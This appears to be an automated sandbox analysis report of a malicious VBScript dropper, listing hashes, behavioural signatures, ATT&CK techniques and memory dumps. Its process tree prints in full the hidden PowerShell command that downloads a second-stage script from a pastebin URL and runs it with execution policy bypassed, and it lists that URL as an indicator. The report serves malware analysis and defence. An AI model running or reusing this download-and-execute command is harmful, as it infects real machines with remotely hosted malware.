318550907c41746ca0a815c0b8856e42cda84a2db6700311a89766d5aa136c9f

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
03/10/2024, 14:07

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General

Target

vb.vbs
Size

1KB
MD5

4f06b12e890e19ecc7d71fb0353e209c
SHA1

5064eeaef0e706cbac734bd014993805a96e70db
SHA256

318550907c41746ca0a815c0b8856e42cda84a2db6700311a89766d5aa136c9f
SHA512

7a40b05e1c30ef6617a73b7679f5caaa023e717b70fd3821b0468dc06e5a29a0dffff73167842c897c35d86fc9153c5628fb692d4de8d6668f95ad88c7d0ba66

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/UxiyyjiX

exe.dropper

https://pastebin.com/raw/UxiyyjiX

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	1300	powershell.exe
7	1300	powershell.exe
8	1300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1300	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	pastebin.com
4	pastebin.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1300	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1300	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 1300	2716	WScript.exe	30
PID 2716 wrote to memory of 1300	2716	WScript.exe	30
PID 2716 wrote to memory of 1300	2716	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vb.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Transcript -Path 'C:\\Users\\Public\\error_log.txt' -Append; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $client = New-Object Net.WebClient; $pastebinUrl = 'https://pastebin.com/raw/UxiyyjiX'; $outputPath = 'C:\\Users\\Public\\en.ps1'; try { $downloadUrl = $client.DownloadString($pastebinUrl); $client.DownloadFile($downloadUrl, $outputPath); powershell.exe -ExecutionPolicy Bypass -File $outputPath -WindowStyle Hidden; } catch { Write-Host 'Error: ' $_.Exception.Message; } Stop-Transcript; "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1300-4-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

Filesize
4KB

Download
memory/1300-5-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/1300-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/1300-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/1300-8-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/1300-7-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/1300-6-0x0000000002A20000-0x0000000002A28000-memory.dmp

Filesize
32KB

Download
memory/1300-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/1300-12-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/1300-14-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download